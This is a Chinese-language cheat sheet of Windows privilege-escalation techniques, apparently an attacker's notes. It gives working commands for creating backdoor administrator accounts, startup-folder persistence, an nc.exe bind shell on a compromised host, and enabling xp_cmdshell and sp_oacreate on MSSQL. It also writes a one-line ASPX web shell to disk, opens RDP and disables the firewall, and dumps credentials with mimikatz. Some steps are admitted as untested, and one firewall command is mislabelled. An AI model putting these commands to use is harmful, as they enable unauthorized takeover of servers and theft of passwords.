提权小结
提权小结
文件权限配置不当提权
普通提权
直接执行开启3389端口,执行net user username password /add & net localgroup administrators usernames /add
如果cmd被禁用,可尝试找可读、可写、可执行目录上传cmd.exe,然后远程连接。
启动项提权
@echo off net user new222 123.com /add net localgroup administrators new222 /add |
将上述代码保存为1.bat文件
再将1.bat拷贝到C:\Documents and Settings\All Users\「开始」菜单\程序\启动\ 目录下,重启服务器即可。
NC反弹提权
找可读可写目录,上传nc.exe和cmd.exe (这里我均上传在c:\inetpub\ 目录下)
执行c:\inetpub\nc.exe -l -p 8888 -t -e c:\inetpub\Cmd.exe
打开本地dos: telnet 192.168.0.112 8888 (192.168.0.112为肉鸡ip)
发现变成肉鸡的shell
这里发现当前权限较小,可尝试通过pr.exe执行命令。
溢出提权
pr提权
在上传大马,拿下shell后,尝试执行net user
发现拒绝访问,没有权限
找可读可写目录,上传cmd.exe。
这里上传到C:\Inetpub\
执行whoami,发现权限为network service,较低。执行net user admin1 admin1 /add失败,没有权限。
执行systeminfo发现没有打补丁,上传pr.exe.
这里上传到C:\Inetpub\
使用pr.exe执行whoami,发现已经是system权限。接着可以创建用户。。。
Ps:这里环境有问题,用公司的2003做的同样操作,复现
Churrasco提权
用法同pr提权,原理一样。
数据库提权
必须具备数据库管理员权限才能执行提权操作。例如sqlmap里面 --is-dba
Mssql
Mssql-xp_cmdshell提权
使用sqltools工具,利用xp_cmdshell提权。
这里没有搭建环境,没法复现了。这里默认是允许外连的情况。
按照下面输入账号密码,执行系统命令一通操作,即提权成功。
如果'xp-cmdshell'不存在,执行:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'user connections',1;
RECONFIGURE;
如果xp_cmdshell组件没有开启,可以执行命令开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; //开启xp_cmdshell
可以执行exec xp_cmdshell 'whoami' 查看是否开启成功
#关闭xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; //关闭xp_cmdshell
#附:
MSSQL语句开启3389: exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
MSSQL语句关闭3389: exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;-- |
dos命令开启3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
dos命令关闭3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f |
win7及以上 netsh advfirewall set allprofiles state on //开启防火墙 netsh advfirewall set allprofiles state off //关闭防火墙
win2003系统使用如下命令 netsh firewall set opmode mode=ENABLE //开启防火墙 netsh firewall set opmode mode=ENABLE //关闭防火墙 |
此时,可以写入一句话,连菜刀:
exec xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^> > d:/a/muma.aspx'
使用菜刀可以上传文件,配合上传做一些操作。比如上传“Getpass”等敏感文件。
如果没有开启外连,可以使用大马里面的SQL-sa提权。
如果没有开启外连也没有开启xp_cmdshell组件,同样上传aspx大马开组件,提权。
Mssql-sp_oacreate提权
前提:
如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。
开启sp_oacreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; //开启sp_oacreate |
##关闭sp_oacreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; //关闭sp_oacreate |
创建账号:
declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test pinohd123. /add" '
参考:https://www.jianshu.com/p/e79d2a42338b
Mysql
udf提权
上传udf提权马。Ps:这里是tools提权马
由于mysql版本大于5.1,创建plugin目录。
导出udf.dll文件
创建函数
执行命令,发现是管理员权限
创建用户
成功执行。
Nc端口转发提权
通过大马创建端口转发函数,执行反弹:
本地监听
第三方软件提权
Server-U提权
查看是否有修改权限,如果有读写权限,修改server-u默认安装目录下面的SerUDaemon.ini文件,创建ftp用户,连接,执行命令创建用户:
quote site exec net user aa 123.com /add
quote site exec net localgroup administrators aa/add
如果没有修改权限,可以使用大马serv-u提权进行溢出提权。
注:43958是serv-u默认的端口。
尝试在ServUDaemon.ini配置文件里面,创建新的用户,辅助提权。
发现没有权限写入,这里不再尝试破解hash。而是通过大马所带“ServU-提权”进行溢出提权。
如果管理员修改密码,可以尝试把ServUAdmin.exe下载到本地,使用C32Asm.exe以16进制打开,ctrl+F查找,使用ANSI类型搜索,查找真实密码。如下:
破解hash提权
Getpass
这里在win2003没有试验成功,后在2008上面能复现。如下:
Pwdump7
mimikatz
第一条:privilege::debug
//提升权限
第二条:sekurlsa::logonpasswords
//抓取密码